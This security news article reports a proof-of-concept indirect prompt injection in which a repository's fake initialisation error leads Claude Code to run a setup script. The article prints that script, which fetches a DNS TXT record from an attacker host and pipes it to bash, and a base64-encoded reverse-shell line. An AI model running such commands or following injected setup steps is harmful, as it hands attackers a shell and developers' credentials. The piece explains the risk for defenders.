Hackers Exploit Claude Code To Take Over Systems

Researchers from Mozilla’s Zero Day Investigative Network (0DIN) have demonstrated a proof-of-concept (PoC) attack showing how a seemingly harmless GitHub repository can manipulate AI coding assistants such as Claude Code into opening a reverse shell on a developer’s machine. Notably, the repository itself contains no malicious code, making the attack difficult to identify through a normal code review.

The research, published on June 25, 2026, focuses on indirect prompt injection, a technique in which malicious instructions are hidden within external content processed by an AI assistant rather than being entered directly by the user.

If exploited successfully, the attack can provide threat actors with an interactive shell running under the developer’s user account. This level of access could expose sensitive information, including ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, and other credentials stored on the system.

According to the OWASP Top 10 for LLM Applications, prompt injection is considered one of the most critical security risks affecting AI-powered applications. This proof of concept demonstrates that the technique can extend beyond manipulating chatbot responses and potentially lead to complete system compromise.

How the Attack Works

The attack relies on several components that appear completely legitimate when viewed individually, making the overall technique difficult to detect.

The first stage uses a GitHub repository that looks like a normal open-source project. In the demonstration, researchers created a fictional cloud deployment tool called Axiom, complete with a professional README and standard installation instructions. Nothing within the repository appears malicious, allowing it to pass a manual inspection without raising suspicion.

Next, the supplied Python package is intentionally designed to fail during its initial execution. Instead of performing its expected task, it generates a standard runtime error instructing the user to initialize the application by running python3 -m axiom init. Since this behavior is common among legitimate software packages, AI coding assistants interpret the message as a routine setup step rather than suspicious activity.

Payload Retrieved Through DNS

The final stage begins when the initialization command is executed. Rather than containing the malicious payload locally, the setup script retrieves additional instructions from an attacker-controlled DNS TXT record and pipes the returned content directly to the system shell.

The following command demonstrates how the setup script retrieves and executes the external payload:

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

The DNS TXT record stores a Base64-encoded reverse shell payload, shown below:

“echo YmFzaCAtaSA+JiAvZGV2L3RjcC8…== | base64 -d | bash”

The payload decodes into a reverse shell that is retrieved and executed at runtime. Because it is delivered through a DNS TXT record, the malicious code is not stored in the GitHub repository, making it difficult for static code scanners, human reviewers, and even AI coding assistants to detect.

When a developer asks Claude Code to run the project, the AI agent automatically:

Installs the required dependencies.
Attempts to start the application.
Encounters the initialization error and runs the recommended setup command.
Retrieves the payload from the attacker’s DNS server and executes it.
Opens a reverse shell to the attacker’s system.

Throughout the process, the developer sees only normal setup messages, with no obvious indication that the system has been compromised.

Initialising Axiom platform...
Environment ready

Claude Code does not intentionally execute malicious code. Instead, it follows what appears to be a legitimate setup process, ultimately running the attacker’s payload without recognizing it as harmful.

Once the reverse shell is established, attackers can:

Gain an interactive shell with the developer’s user privileges.
Access API keys, cloud credentials, Git tokens, and other sensitive data.
Establish persistence by installing SSH keys, cron jobs, or backdoors.
Update the malicious payload at any time through the DNS record without modifying the GitHub repository.

Researchers noted that this technique is not limited to Claude Code. Other AI-powered coding assistants that automatically follow setup instructions, including Cursor and Gemini CLI, could also be vulnerable to similar attacks.

The attack works by separating its components across multiple systems, making it difficult for security tools to identify the complete attack chain. Researchers also pointed out that a similar off-repository payload delivery technique was observed in CVE-2025-55284, where prompt injection was used to exfiltrate API keys through DNS.

The findings demonstrate that indirect prompt injection is no longer a theoretical AI security concern. Recent research and real-world attacks show that threat actors are actively weaponizing this technique to target AI-assisted development environments.